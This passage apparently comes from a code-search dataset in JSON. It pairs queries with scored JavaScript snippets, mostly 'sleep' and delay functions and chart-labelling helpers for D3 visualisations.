startTime + milliSeconds); // hog cpu\r\n}", "title": "" }, { "docid": "e09c28da21a371a0a1f3eb903a09efb9", "score": "0.718172", "text": "function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); }", "title": "" }, { "docid": "5f9f5715dcd754d6eda633c3f4b10678", "score": "0.7114511", "text": "function sleep() {\n return new Promise(resolve => setTimeout(resolve, Math.random(8000, 15000)));\n}", "title": "" }, { "docid": "15bd64305d175a81439c0ccb4d1db485", "score": "0.7098132", "text": "function sleep(ms) {\n var fiber = Fiber.current;\n setTimeout(function() {\n fiber.run();\n }, ms);\n Fiber.yield();\n}", "title": "" }, { "docid": "b13bc9aeac7d30e08fb9542e7d376dfc", "score": "0.70443493", "text": "function sleep(time) {\n\tif(time < minSleep) time = minSleep;\n var stop = new Date().getTime();\n while(new Date().getTime() < stop + time) {\n ;\n }\n}", "title": "" }, { "docid": "2ef7b79635d3187eedee3c772c6bb334", "score": "0.703279", "text": "function sleep(ms) { return new Promise((resolve) => { setTimeout(resolve, ms); }); }", "title": "" }, { "docid": "590d6c827e03f9a4f1863f44dce09c4f", "score": "0.7024055", "text": "function sleep(ms) {\r\n\t\r\n return new Promise(resolve => setTimeout(resolve, ms));\r\n}", "title": "" }, { "docid": "73c9114cbacee37797187547412e06ec", "score": "0.7021049", "text": "function sleep(ms) {\n return new Promise(resolve => setTimeout(resolve, ms));\n }", "title": "" }, { "docid": "d605ef594ee1d7b25f7c68cb856f8b23", "score": "0.70090544", "text": "function sleep(milliseconds) {\n\tconst date = Date.now();\n\tlet currentDate = null;\n\tdo {\n\t\tcurrentDate = Date.now();\n\t} while (currentDate - date < milliseconds);\n}", "title": "" }, { "docid": "8628ca713a6014c0018dc7a31574c879", "score": "0.6995128", "text": "sleep(ms) {\n \treturn new Promise(resolve => setTimeout(resolve, ms));\n\t}", "title": "" }, { "docid": "7a7bf60a97b2e1ed4a5bb5b0cbc632a4", "score": "0.69876015", "text": "function sleep(milliseconds) {\n var start = new Date().getTime();\n for (var i = 0; i < 1e7; i++) {\n // console.log(i);\n if ((new Date().getTime() - start) > milliseconds) {\n break;\n }\n }\n}", "title": "" }, { "docid": "88efec0e6d12d0701bf9f2c94072b0ae", "score": "0.69820505", "text": "sleep(ms) {\n return new Promise(resolve => setTimeout(resolve, ms));\n\t}", "title": "" }, { "docid": "81ce62ab4c9fb2671f43dc6fec7c2449", "score": "0.6960168", "text": "function wait() {\n self.timeup = true;\n }", "title": "" }, { "docid": "9bc046715f39f42e8408d5b50a0775d2", "score": "0.6927777", "text": "function sleep(milliseconds) {\n let e = new Date().getTime() + milliseconds;\n while (new Date().getTime() <= e) { }\n}", "title": "" }, { "docid": "20bc04c0218e1ed93a871f467b483310", "score": "0.6925667", "text": "function sleep(milliseconds) {\n const date = Date.now();\n let currentDate = null;\n do {\n currentDate = Date.now();\n } while (currentDate - date < milliseconds);\n}", "title": "" }, { "docid": "20bc04c0218e1ed93a871f467b483310", "score": "0.6925667", "text": "function sleep(milliseconds) {\n const date = Date.now();\n let currentDate = null;\n do {\n currentDate = Date.now();\n } while (currentDate - date < milliseconds);\n}", "title": "" }, { "docid": "d2d5231be88f940c4108694d2d37a8ce", "score": "0.6908947", "text": "function sleep (timeout) {\n console.log('start sleep')\n const start = new Date()\n for (let i = 0; i >= 0; i += 1) {\n let now = new Date()\n let diff = now - start\n if (diff > timeout) {\n break\n }\n }\n console.log('end sleep')\n}", "title": "" }, { "docid": "472d7e7f46a577dd366a72b6bb000aad", "score": "0.69045025", "text": "function sleep(ms) \r\n {\r\n return new Promise(resolve => setTimeout(resolve, ms));\r\n }", "title": "" }, { "docid": "d727c6d2ada1a3607c784fb71d2d07f0", "score": "0.68969023", "text": "function waitSeconds() {\n Utilities.sleep(6000);\n}", "title": "" }, { "docid": "6f034f85331b1b941132fc6319a6a9ea", "score": "0.68916917", "text": "function sleep(milliseconds) {\n const date = Date.now();\n let currentDate = null;\n do {\n currentDate = Date.now();\n } while (currentDate - date < milliseconds);\n}", "title": "" }, { "docid": "c96e5c2317ebc20393c8ed62ae4a70c5", "score": "0.6889019", "text": "function sleep(milliseconds) {\r\n var start = new Date().getTime();\r\n for (var i = 0; i < 1e7; i++) {\r\n if ((new Date().getTime() - start) > milliseconds){\r\n break;\r\n }\r\n }\r\n}", "title": "" }, { "docid": "c96e5c2317ebc20393c8ed62ae4a70c5", "score": "0.6889019", "text": "function sleep(milliseconds) {\r\n var start = new Date().getTime();\r\n for (var i = 0; i < 1e7; i++) {\r\n if ((new Date().getTime() - start) > milliseconds){\r\n break;\r\n }\r\n }\r\n}", "title": "" }, { "docid": "c96e5c2317ebc20393c8ed62ae4a70c5", "score": "0.6889019", "text": "function sleep(milliseconds) {\r\n var start = new Date().getTime();\r\n for (var i = 0; i < 1e7; i++) {\r\n if ((new Date().getTime() - start) > milliseconds){\r\n break;\r\n }\r\n }\r\n}", "title": "" }, { "docid": "7670f153dabec0f491fb3e5f9d71703c", "score": "0.68879294", "text": "function sleep(ms) {\n //\n return new Promise(resolve => setTimeout(resolve, ms));\n}", "title": "" }, { "docid": "e440fed27cca0c5b2cc57f7c96b191d1", "score": "0.6866239", "text": "function wait() {\n Utilities.sleep(500);\n}", "title": "" }, { "docid": "406837e86c7b9ac1727a3d280a3e605a", "score": "0.68620956", "text": "function sleep(milliseconds){\n var start = new Date().getTime();\n for (var i = 0; i < 1e7; i++) {\n if ((new Date().getTime() - start) > milliseconds){\n break;\n }\n }\n}", "title": "" }, { "docid": "1b371d52111a09a7f474996c69b8990f", "score": "0.68563414", "text": "function sleep(ms) {\n setTimeout(function() {\n PC++; loop(); \n }, ms);\n}", "title": "" }, { "docid": "49ce6a4b0adf3b07031ade17ac103e6a", "score": "0.684474", "text": "function SleepTimer(ms) {\r\n var zeit = (new Date()).getTime();\r\n var stoppZeit = zeit + ms;\r\n while ((new Date()).getTime() < stoppZeit) {};\r\n }", "title": "" }, { "docid": "c9c8a6843d239173d0dbe15eb58d892c", "score": "0.68382305", "text": "function sleep(ms) {\n\t\treturn new Promise(resolve => setTimeout(resolve, ms));\n}", "title": "" }, { "docid": "8536082182fbc8a5a4b383eacff81bd7", "score": "0.68374854", "text": "function sleep(milliseconds) {\n console.log(\"Sleep of \", milliseconds, \"ms requested\");\n const date = Date.now();\n let currentDate = null;\n do {\n currentDate = Date.now();\n } while (currentDate - date < milliseconds);\n}", "title": "" }, { "docid": "db0886f12384b16838b5b25873f2f753", "score": "0.6833624", "text": "sleep(ms) {\n return new Promise(resolve => setTimeout(resolve, ms));\n }", "title": "" }, { "docid": "b35cc8c2b25c3ef293a451850fa6b6ef", "score": "0.68262", "text": "function first_delay(){\n //Simulation\n setTimeout(function(){\n console.log(1)\n },500)\n }", "title": "" }, { "docid": "0ad794892b8929e65b6c95bf497977b6", "score": "0.68040985", "text": "function sleep(ms) {\n return new Promise(resolve => setTimeout(resolve, ms));\n }", "title": "" }, { "docid": "395a6d2d31a4964cb2f8107bb4338c01", "score": "0.6803045", "text": "function sleep(ms) {\n console.log(\"Sleeping for \" + ms.toString());\n return new Promise(resolve => setTimeout(resolve, ms));\n}", "title": "" }, { "docid": "b5513225e7b98d2a34ba22cd5c219b94", "score": "0.6802517", "text": "async function sleep() {\n await new Promise((resolve) => {\n setTimeout(resolve, WAIT_TIME);\n });\n}", "title": "" }, { "docid": "e23358111ed5acded58399e01afbaf63", "score": "0.6801239", "text": "function sleep(ms){\n return new Promise(resolve=>{\n setTimeout(resolve,ms)\n })\n}", "title": "" }, { "docid": "e23358111ed5acded58399e01afbaf63", "score": "0.6801239", "text": "function sleep(ms){\n return new Promise(resolve=>{\n setTimeout(resolve,ms)\n })\n}", "title": "" }, { "docid": "e23358111ed5acded58399e01afbaf63", "score": "0.6801239", "text": "function sleep(ms){\n return new Promise(resolve=>{\n setTimeout(resolve,ms)\n })\n}", "title": "" }, { "docid": "6c840d5f3f04ede48c9f9e6a02e94788", "score": "0.6800748", "text": "function sleep(ms) {\n return new Promise(resolve => setTimeout(resolve, ms));\n }", "title": "" }, { "docid": "1bad579c284f86beaec116985f7756f7", "score": "0.680062", "text": "sleep(ms) {\n return new Promise(resolve => {\n setTimeout(resolve, ms);\n });\n }", "title": "" }, { "docid": "8432ebf850d7383e1cc2cb8b03c76207", "score": "0.67996913", "text": "function sleep(ms) {\n return () => {\n execSync(`sleep ${ms / 1000}`);\n };\n}", "title": "" }, { "docid": "2ac3805bdc1b6651424e99716ddc1999", "score": "0.6799583", "text": "function start_sleep(){\n\t\t_times -= 1 ;\n\t\tvar _str = str + \"...(\"+_times+\"s)\";\n\t\tif(_times >= 0){\n\t\t\ttip_show(_str);\n\t\t\twindow.clear_time = setTimeout(start_sleep ,1000);\n\t\t}else{\n\t\t\ttip_hide();\n\t\t\tif( \"undefined\" != typeof(fun) ){fun();}\n\t\t\tclearTimeout(window.clear_time);\n\t\t};\n\t}", "title": "" }, { "docid": "8a7ba4886f18a2420eccb21f96c522c8", "score": "0.6788558", "text": "function sleep(ms) {\n\t\treturn new Promise(resolve => setTimeout(resolve, ms));\n\t}", "title": "" }, { "docid": "8a7ba4886f18a2420eccb21f96c522c8", "score": "0.6788558", "text": "function sleep(ms) {\n\t\treturn new Promise(resolve => setTimeout(resolve, ms));\n\t}", "title": "" }, { "docid": "a05debbf9ab9777e1d8ca799669278cf", "score": "0.6788242", "text": "function sleep(millis, callback){\n\tsetTimeout(\n\t\tfunction (){ callback() }\n\t\t, millis\n\t);\n}", "title": "" }, { "docid": "2629104e3cd8132a4a7862bd07d9694c", "score": "0.67860913", "text": "function Delay(sleepDuration) {\n var now = new Date().getTime();\n while (new Date().getTime() < now + sleepDuration) \n {\n /* do nothing */\n }\n}", "title": "" }, { "docid": "251237cf1591170f3ebc7bee9d1d8045", "score": "0.6785249", "text": "function sleep(ms) {\r\n\treturn new Promise((resolve) => setTimeout(resolve, ms));\r\n}", "title": "" }, { "docid": "bb95d16235779873777db85130beb01f", "score": "0.6783019", "text": "async function wait() {\n await delay(10000)\n }", "title": "" }, { "docid": "6633b60e9812a329b9c28ee9e9da7777", "score": "0.67818934", "text": "function sleep(ms) {\n return new Promise(resolve => setTimeout(resolve, ms));\n }", "title": "" }, { "docid": "6633b60e9812a329b9c28ee9e9da7777", "score": "0.67818934", "text": "function sleep(ms) {\n return new Promise(resolve => setTimeout(resolve, ms));\n }", "title": "" }, { "docid": "eed3b80d905a23d10d8274ae2b965896", "score": "0.6778876", "text": "wait1Sec (callback) {\n\t\tconst wait = this.mockMode ? 0 : 1000;\n\t\tsetTimeout(callback, wait);\n\t}", "title": "" }, { "docid": "2bc74d4eaf11dbe635b9139b217137ad", "score": "0.67783755", "text": "async function sleep (time) {\n await new Promise((resolve) => {\n setTimeout(resolve, time)\n })\n }", "title": "" }, { "docid": "8bc304a05a236a2c20d2f75bc32514a6", "score": "0.6776106", "text": "sleep(ms) {\n return new Promise((resolve) => setTimeout(resolve, ms));\n }", "title": "" }, { "docid": "0019224a3d6993ae01aeb7aa65ef1458", "score": "0.67706794", "text": "Pause() {}", "title": "" }, { "docid": "35b2fd72b8bd2f6d0513a2a22eba90af", "score": "0.6767213", "text": "function sleep(ms) {\n\treturn new Promise(resolve => setTimeout(resolve, ms));\n}", "title": "" }, { "docid": "35b2fd72b8bd2f6d0513a2a22eba90af", "score": "0.6767213", "text": "function sleep(ms) {\n\treturn new Promise(resolve => setTimeout(resolve, ms));\n}", "title": "" }, { "docid": "663773e8131bb26b8efe2424b5ef9eb1", "score": "0.6761578", "text": "function sleep(milliseconds) {\n var start = new Date().getTime();\n for (var i = 0; i < 1e7; i++) {\n if ((new Date().getTime() - start) > milliseconds){\n break;\n };\n };\n}", "title": "" }, { "docid": "18341ac828d4fe84c0e73e3fc5d75cdb", "score": "0.674351", "text": "function ___sleep(milliseconds) {\n var start = new Date().getTime();\n for (var i = 0; i < 1e7; i++) {\n if ((new Date().getTime() - start) > milliseconds){\n break;\n }\n }\n }", "title": "" }, { "docid": "fe9fd1264a57096872c8233f73c6df3c", "score": "0.674345", "text": "function sleep(milliseconds) {\r\n\tvar start = new Date().getTime();\r\n\tfor (var i = 0; i < 1e7; i++) {\r\n\t if ((new Date().getTime() - start) > milliseconds){\r\n\t\tbreak;\r\n\t }\r\n\t}\r\n }", "title": "" }, { "docid": "0f1efc2f5535c0f1cc77754f7ff52ac4", "score": "0.67426145", "text": "function sleep (time) {\n return new Promise((resolve) => setTimeout(resolve, time));\n }", "title": "" }, { "docid": "5fdcd7656fb3757446d235cc5c502f6c", "score": "0.67425776", "text": "function sleep(s) {\n return new Promise(resolve => setTimeout(resolve, s*1000));\n}", "title": "" }, { "docid": "9444789a84caaf6d60cdef72cc3f42e7", "score": "0.67422944", "text": "sleep(ms) {\n\n return new Promise(resolve => setTimeout(resolve, ms));\n\n }", "title": "" }, { "docid": "b4cbdc82a55b43b97fb522434f19bbcc", "score": "0.67419875", "text": "function first_delay(){\n // Simulation of delay\n setTimeout(function(){\n console.log(1)\n }, 5000)\n}", "title": "" }, { "docid": "e6f2e4c7caef18dbd2f32ea9f4fff9ab", "score": "0.67383826", "text": "function sleep(fps) {\n return new Promise((resolve) => setTimeout(resolve, fps));\n}", "title": "" }, { "docid": "98a5f74dff73b57b296a69efed77c5bd", "score": "0.6736336", "text": "function sleep(ms) {\r\n return new Promise((resolve) => setTimeout(resolve, ms));\r\n}", "title": "" }, { "docid": "b6b11e1c8acd1c2fe86c85f334394ee1", "score": "0.6730837", "text": "function pauseScript(ms) {var ms1 = getRndtime(ms); var aDate = new Date(); var crtDate = new Date(); do {crtDate = new Date();} while (crtDate - aDate < ms1);}", "title": "" }, { "docid": "aa8b5c98251bcf7eb50b10c486688d09", "score": "0.67275584", "text": "function sleep(s) {\n return new Promise(resolve => setTimeout(resolve, 1000 * s))\n}", "title": "" }, { "docid": "74833d3e465a7ee0d8a0786872573000", "score": "0.67258435", "text": "function sleep(ms) {\n return new Promise((resolve) => {\n setTimeout(resolve, ms);\n });\n }", "title": "" }, { "docid": "8006148f6d2b6055157284112e03e5e5", "score": "0.6725112", "text": "function wait() {\n var now = performance.now();\n while (now === performance.now())\n continue;\n}", "title": "" }, { "docid": "bee076c90af15b6a4784896e44eb7349", "score": "0.67148364", "text": "function simulateUserInteractionDelay() {\n sleep(1 + Math.random() * 2);\n}", "title": "" }, { "docid": "b86f03becaaf3b8b70e5cd37695b6aab", "score": "0.6707803", "text": "function sleep() {\n var ms = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 50;\n return new Promise(function (resolve) {\n setTimeout(resolve, ms);\n });\n}", "title": "" }, { "docid": "e36eff258ed00c514fc5359481183028", "score": "0.67076087", "text": "function sleep(milliseconds) {\r\n var start = new Date().getTime();\r\n for (var i = 0; i < 1e7; i++) {\r\n if ((new Date().getTime() - start) > milliseconds) {\r\n break;\r\n }\r\n }\r\n}", "title": "" }, { "docid": "10dff706597d682382ee1130e91aa73d", "score": "0.67024714", "text": "function sleep(milliSeconds) {\n\t// synchronous sleep. Not good for Node applications.\n\tvar startTime = new Date().getTime() + milliSeconds;\n\twhile (new Date().getTime() < startTime) {\n\t\t// spin away...\n\t\t// no other requests can be handled while this is sleeping...\n\t}\n}", "title": "" }, { "docid": "e5d1513d0fc744fb6daf939a1c535245", "score": "0.66879016", "text": "function sleep(time) {\n isAwake = false;\n var howLong = time;\n for (var i = 0; i < howLong; i++) {\n console.log(\"I'm sleeping for \" + howLong + \" hours. Don't WAKE me!\");\n }\n console.log(\"Finally got some rest. I'm woke.\");\n console.log(isAwake);\n}", "title": "" }, { "docid": "45367d5499fafcffd96f037780b6965a", "score": "0.66844934", "text": "function sleep(ms) {\n return new Promise((resolve) => {\n setTimeout(resolve, ms);\n });\n}", "title": "" }, { "docid": "b7b55f05469f307817422556dafface5", "score": "0.66777205", "text": "function sleep(ms) {\r\n return new Promise((resolve) => setTimeout(resolve, ms));\r\n}", "title": "" }, { "docid": "cd710eab3f3d75bb054a3809a70928cc", "score": "0.6676183", "text": "function sleep(ms) {\n return new Promise(resolve => setTimeout(resolve, ms))\n}", "title": "" }, { "docid": "e94eb1187ee914833b7e3e75813eb2b6", "score": "0.66746736", "text": "sleep (ms) {\n return new Promise(resolve => setTimeout(resolve, ms));\n }", "title": "" }, { "docid": "3a5ec15e5127f6e3ae28b7fff2703742", "score": "0.66711307", "text": "function sleep(ms){\n return function(callback){\n setTimeout(callback, ms)\n }\n}", "title": "" }, { "docid": "16c3b2c059272cdcccabd888c9090013", "score": "0.6669883", "text": "function sleep(milliseconds) {\n var start = new Date().getTime();\n for (var i = 0; i < 1e7; i++) {\n if ((new Date().getTime() - start) > milliseconds){\n break;\n }\n }\n}", "title": "" }, { "docid": "16c3b2c059272cdcccabd888c9090013", "score": "0.6669883", "text": "function sleep(milliseconds) {\n var start = new Date().getTime();\n for (var i = 0; i < 1e7; i++) {\n if ((new Date().getTime() - start) > milliseconds){\n break;\n }\n }\n}", "title": "" } ]
c77dea19e57e320b17b57023acf21fee
Returns a number or percentage label for the national lines depending on the data being displayed
[ { "docid": "a83c6dbb08fd2dac387dc04fd1414b31", "score": "0.6997347", "text": "function setNationalLabel(label, nationalData) {\n\n if (label.search(\"Percentage\") > -1) {\n\n return \"National \" + Math.round(nationalData * 100) + \"%\";\n }\n\n else {\n return \"National \" + nationalData;\n }\n}", "title": "" } ]
[ { "docid": "07408ce7ebdaf1f769c1380e7fb20598", "score": "0.67967385", "text": "function printLabelsOneLiner(e,n,l,t){return\"We will need \"+Math.floor(l/(l+t)*e/n)*n+\" labeled units and \"+(e-Math.floor(l/(l+t)*e/n)*n)+\" unlabeled units.\"}", "title": "" }, { "docid": "afb3a687c2bfc2cc76c7e4b648220f26", "score": "0.6439295", "text": "function updateStatLabels() {\n\t$('#label_worker_count').text($datasets.worker_counts[datasetIdx]);\n\t$('#label_mtd').text($datasets.mtds[datasetIdx]);\n\tif ($datasets.areas[datasetIdx] === 0)\n\t\t$('#label_area').text(\"N/A\");\n\telse\n\t\t$('#label_area').text($datasets.areas[datasetIdx]);\n\tif ($datasets.pearson_skewness[datasetIdx] == 0)\n\t\t$('#label_pearson_skewness').text(\"N/A\");\n\telse\n\t\t$('#label_pearson_skewness').text(\n\t\t\t\t$datasets.pearson_skewness[datasetIdx]);\n}", "title": "" }, { "docid": "b35764cfb182187ba73b71a6d050bc75", "score": "0.6342762", "text": "function pieLabels(value) {return '<b>'+ value.point.name +'</b>: '+ roundNumber(value.percentage, 2) +' %';}", "title": "" }, { "docid": "b9b09b8de89bbcf1a721fdad2c2cbb79", "score": "0.6050195", "text": "function platformLabel(d,elementsArray){\n var label = d.key;\n var sum = getTotal(elementsArray.all());\n\n if(label === 'Linux armv8l'){\n return Math.ceil((d.value/sum) * 100) + '%'\n }\n\n else{\n return Math.ceil((d.value/sum) * 100) + '%'\n }\n\n}", "title": "" }, { "docid": "65a57f9e3d83eb21ff7a76a7b3a8b6d2", "score": "0.6017172", "text": "function barLabel(d) {\n if (contentView.collection.overlayModel.get('view_value_as_percentage')) {\n return ((d.get('value') / sum) * 100).toFixed(1) + '%'; // percentage of whole\n }\n else {\n return contentView.formatCount(d.get('value'));\n }\n }", "title": "" }, { "docid": "0c7150ad65b496e75cfcc8b01dc3742c", "score": "0.5971772", "text": "function setLabel(props,csvData){\r\n //label the dynamic labe differently based on what the variable expressed is\r\n if (expressed == 'Contraception Use') {\r\n var labelString = props[expressed] + \"%\";\r\n } else if (expressed == 'GDP' || expressed == 'Income Dispairity') {\r\n var labelString = \"$\" + props[expressed];\r\n } else {\r\n var labelString = props[expressed];\r\n }\r\n \r\n //label content\r\n var labelAttribute = \"<b><i>\" + props.Country + \": </b>\" + labelString + \"</i>\";\r\n \r\n //create info label div\r\n var infolabel = d3.select(\"body\")\r\n .append(\"div\")\r\n .attr(\"class\", \"infolabel\")\r\n .attr(\"id\", props.ISO + \"_label\")\r\n .html(labelAttribute);\r\n \r\n var countryName = infolabel.append(\"div\")\r\n .attr(\"class\", \"labelname\")\r\n .html(props.COUNTRY);\r\n}", "title": "" }, { "docid": "81a5bb13c84b963a82607ff411ed8f65", "score": "0.59240866", "text": "function setLabel(props){\n //label content\n if(props[expressed] === \"Gini Coefficient\"){\n var labelAttribute = \"<h1>\" + props[expressed] +\n \"</h1><b>\" + expressed + \"</b>\";\n }else{\n var labelAttribute = \"<h1>\" + Math.round(props[expressed]*100) + //sets Label and multiplies by 100 to show proper percentages\n \"</h1><b>\" + expressed + \"</b>\";\n };\n //create info label div\n var infolabel = d3.select(\"body\") //creates infolabel for dynamic label\n .append(\"div\")\n .attr(\"class\", \"infolabel\")\n .attr(\"id\", props.name10 + \"_label\")\n .html(labelAttribute);\n\n var tractName = infolabel.append(\"div\") //creates tract name\n .attr(\"class\", \"labelname\")\n .html(\"Tract \"+props.name10);\n}", "title": "" }, { "docid": "5553e5f10431d22d05a24fad5211e696", "score": "0.59049946", "text": "function ApexDataLabels() { }", "title": "" }, { "docid": "5553e5f10431d22d05a24fad5211e696", "score": "0.59049946", "text": "function ApexDataLabels() { }", "title": "" }, { "docid": "10a6c04c3899f813e4616cd20179151c", "score": "0.59008723", "text": "function getLabels(newPlayer){\n return [\"League Average\" ,allPlayers_Bar[newPlayer].data[year_Bar].teamID + \" Average\",allPlayers_Bar[newPlayer].data[year_Bar].positions[0] +\" Average\",allPlayers_Bar[newPlayer].name]; \n\n}", "title": "" }, { "docid": "63ced47acddc1703b2ac7992835471f1", "score": "0.5900608", "text": "function setLabel(props){\n\t//label content\n // contry props\n var allUnits = [\"% Rural population\",\n \"% Agricultural land\",\n \"% Arable land\",\n \"% Employment in agriculture\",\n \"% Forest area\"];\n\n var units = allUnits[attrArray.indexOf(expressed)];\n\n\tvar labelAttribute = \"<h2>\" + props[expressed].toFixed(2) +\n\tunits\t+ \"</h2>\";\n\n\t//create info label div\n\tvar infolabel = d3.select(\"body\")\n\t\t.append(\"div\")\n\t\t.attr({\n\t\t\t\"class\": \"infolabel\",\n\t\t\t\"id\": props.adm0_a3 + \"_label\"\n\t\t})\n\t\t.html(labelAttribute);\n\n\tvar countryName = infolabel.append(\"div\")\n\t\t.attr(\"class\", \"labelname\")\n\t\t.html(props.name);\n\n}", "title": "" }, { "docid": "bd11bf20ccaa93a949fe98d556e092c4", "score": "0.5896394", "text": "function makeLabels() {\n\n svgContainer.append('text')\n .attr('x', ((measurements.width - 200) / 2))\n .attr('y', (measurements.height - 10))\n //.attr('y', 400)\n .style('font-size', '10pt')\n .text(\"Sp. Def\");\n\n svgContainer.append('text')\n .attr('transform', 'translate(15, ' + (measurements.height / 2) + ')rotate(-90)')\n .style('font-size', '10pt')\n .text(\"Total\");\n }", "title": "" }, { "docid": "8fc82fa3323c2536a07102ebcf692a25", "score": "0.58687145", "text": "function ApexDataLabels() {}", "title": "" }, { "docid": "9c4dac7ce2543e1cf4955b3b71672a07", "score": "0.58608043", "text": "function getLabelDoughnut(data) {\n // creo un oggetto vuoto in cui inserirò i nomi dei venditori (chiavi) e l'ammontare delle sue vendite (valori)\n var salesmen = {};\n\n for (var i=0; i<data.length; i++) {\n var name = data[i].salesman;\n var amount = Number(data[i].amount);\n\n if(!salesmen[name]) {\n // aggiungo il nome del venditore all'oggetto assegnandogli un valore iniziale di zero\n salesmen[name] = 0;\n }\n\n // aggiungo le vendite a quelle precedenti\n salesmen[name] += amount;\n };\n\n return(salesmen);\n\n}", "title": "" }, { "docid": "0bf67c9b97192e57dd0438a4f2e936b8", "score": "0.5827754", "text": "function drawLabels() {\n //stats\n textSize(28);\n strokeWeight(1);\n text(\"ATTACK\", 262, 80);\n text(\"DEFENSE\", 262, 132.5);\n text(\"SPEED\", 262, 185);\n}", "title": "" }, { "docid": "33cec4cfe55c63549d8c4f324e19a0f1", "score": "0.5825339", "text": "function toPercentageNF()\n{\n\tnNum = this.num * 100;\n\t\n\t// round decimal places\n\tnNum = this.getRounded(nNum);\n\t\n\treturn nNum + '%';\n}", "title": "" }, { "docid": "37f9d71344e01b484d916ab681ccc022", "score": "0.58248717", "text": "function percentText()\n\t{\n\t\tvar finalText = that.isFinal ? 'Final ' : '';\n\t\tvar percent = Math.floor(that.current / that.maximum * 100);\n\t\treturn finalText + that.label + ': ' + percent + '%';\n\t}", "title": "" }, { "docid": "3d126d6e06bb0546a5bd08f6d2e0e5d6", "score": "0.5804881", "text": "function level_label(level){\n if (level.height)\n return level.height+'p';\n if (level.width)\n return Math.round(level.width*9/16)+'p';\n if (level.bitrate)\n return scaled_number(level.bitrate)+'bps';\n return 0;\n }", "title": "" }, { "docid": "f3d9062c015f429c3a1893d6753f068b", "score": "0.57999283", "text": "function sizeLabel(lineCount) {\n console.log(lineCount);\n if (lineCount < Config.sizes.S) {\n return Config.label.XS;\n } else if (lineCount < Config.sizes.M) {\n return Config.label.S;\n } else if (lineCount < Config.sizes.L) {\n return Config.label.M;\n } else if (lineCount < Config.sizes.Xl) {\n return Config.label.L;\n } else if (lineCount < Config.sizes.Xxl) {\n return Config.label.XL;\n }\n\n return Config.label.XXL;\n}", "title": "" }, { "docid": "67be15e1289722215d26f62e4606da6b", "score": "0.57839584", "text": "function deviceLabel(d,elementArray){\n var label = d.key;\n var sum = getTotal(elementArray.all());\n\n if(label.includes('Android') === true){\n\n return Math.ceil((d.value/sum) * 100) + '%'\n }\n else if (label.includes('Trident')){\n\n return Math.ceil((d.value/sum) * 100) + '%'\n }\n else if(label.includes('Firefox')){\n return Math.ceil((d.value/sum) * 100) + '%'\n }\n else {\n\n return Math.ceil((d.value/sum) * 100) + '%'\n }\n}", "title": "" }, { "docid": "b11d9209fa784a0801f3836dcfd6e06d", "score": "0.57803035", "text": "function drawLabel() {\n p.text(`Trials: ${p.props.playedGames}/${p.props.countOfGames}`, 20, p.wrapper.offsetHeight-20);\n }", "title": "" }, { "docid": "b11d9209fa784a0801f3836dcfd6e06d", "score": "0.57803035", "text": "function drawLabel() {\n p.text(`Trials: ${p.props.playedGames}/${p.props.countOfGames}`, 20, p.wrapper.offsetHeight-20);\n }", "title": "" }, { "docid": "969c1be0418a5f9210fa868c353d0231", "score": "0.577323", "text": "function makeLabels() {\n svgContainer.append('text')\n .attr('x', 260)\n .attr('y', 40)\n .style('font-size', '14pt')\n .text(\"Pokemon: Special Defense vs Total Stats\");\n svgContainer.append('text')\n .attr('x', 395)\n .attr('y', 490)\n .style('font-size', '10pt')\n .text('Sp. Def');\n svgContainer.append('text')\n .attr('transform', 'translate(15, 250)rotate(-90)')\n .style('font-size', '10pt')\n .text('Total');\n }", "title": "" }, { "docid": "a164e5f3fd4907423e9b28f64e91ddc4", "score": "0.57415295", "text": "function getLabels(){\n var labels = [\n {\n \"width\":68,\n \"y\":225.04166412353516,\n \"label\":\"TotalDue\",\n \"x\":516.9999847412109,\n \"height\":22\n },\n {\n \"label\":\"WastewaterFixedCharge\",\n \"y\":495.04166412353516,\n \"width\":50,\n \"x\":563.9999847412109,\n \"height\":16\n },\n {\n \"x\":375.99998474121094,\n \"y\":292.04166412353516,\n \"width\":159,\n \"height\":42,\n \"label\":\"PropertyAddress\"\n },\n {\n \"label\":\"AccountNumber\",\n \"height\":26,\n \"x\":522.9999847412109,\n \"width\":79,\n \"y\":71.04166412353516\n },\n {\n \"y\":188.04166412353516,\n \"label\":\"DueDate\",\n \"width\":92,\n \"x\":521.9999847412109,\n \"height\":19\n }\n ];\n return labels;\n }", "title": "" }, { "docid": "08d4df356dbd0abc2e41e8186da10213", "score": "0.57324225", "text": "function setLabel(d){\n //label content\n var format = d3.format(\",.2f\")\n var a = expressed.split(\"_\")\n var labelAttribute = \"<h1>\" + a[1] +\": \" + format(d.properties[expressed]) +\n \"</h1> mg/l\";\n\n //create info label div\n var infolabel = d3.select(\"#body\")\n .append(\"div\")\n .attr(\"class\", \"infolabel\")\n .attr(\"id\", d.properties.HUC8 + \"_label\")\n .html(labelAttribute);\n\n var regionName = infolabel.append(\"div\")\n .attr(\"class\", \"labelname\")\n .html(\"<b>Watershed:</b> \" + d.properties.NAME);\n }", "title": "" }, { "docid": "2525e4480deb0c1fd3bcced0c6304b5d", "score": "0.5731794", "text": "function setLabel(props){\n //label content\n var labelAttribute = \"<h1>\" + props[expressed] +\n \"</h1><b>\" + expressed + \"</b>\";\n\n //create info label div\n var infolabel = d3.select(\"body\")\n .append(\"div\")\n .attr(\"class\", \"infolabel\")\n .attr(\"id\", props.FIPSCode + \"_label\")\n .html(labelAttribute);\n\n //add the county name to the info label\n var countyName = infolabel.append(\"div\")\n .attr(\"class\", \"labelname\")\n .html(props.Counties);\n }", "title": "" }, { "docid": "9e59da106a2485bd6148038068d7136d", "score": "0.5727035", "text": "function setLabel(props){\n //label content\n var labelAttribute = \"<h1>\" + props[expressed] +\n \"</h1><b>\" + expressed + \"</b>\";\n\n //create info label div\n var infolabel = d3.select(\"body\")\n .append(\"div\")\n .attr(\"class\", \"infolabel\")\n .attr(\"id\", props.JURISDIC + \"_label\")\n .html(labelAttribute);\n\n var regionName = infolabel.append(\"div\")\n .attr(\"class\", \"labelname\")\n .html(props.name);\n }", "title": "" }, { "docid": "27e9152f835bf0f519417bd0a4571007", "score": "0.57165545", "text": "function nObs(data, plotVar, width, height, varType) {\n // create plot specific unique class\n var obsClass = varType + \"obsText\"\n // remove existing text for specified chart\n d3.selectAll('.' + obsClass).remove()\n\n // Create first line\n var nObsText = \"No of obs: \" + data.length;\n\n // create second line\n var uniqueText = \"Countries: \" + unique(data.map(function(d) { return d.country;})).length\n // Append the text to the plot\n plotVar.append('g')\n .append('text')\n .attr('x', width - 100)\n .attr('y', height - 0)\n .attr('dy', -2)\n .text(nObsText)\n .attr('class', 'obsText '+ obsClass)\n .raise();\n\n 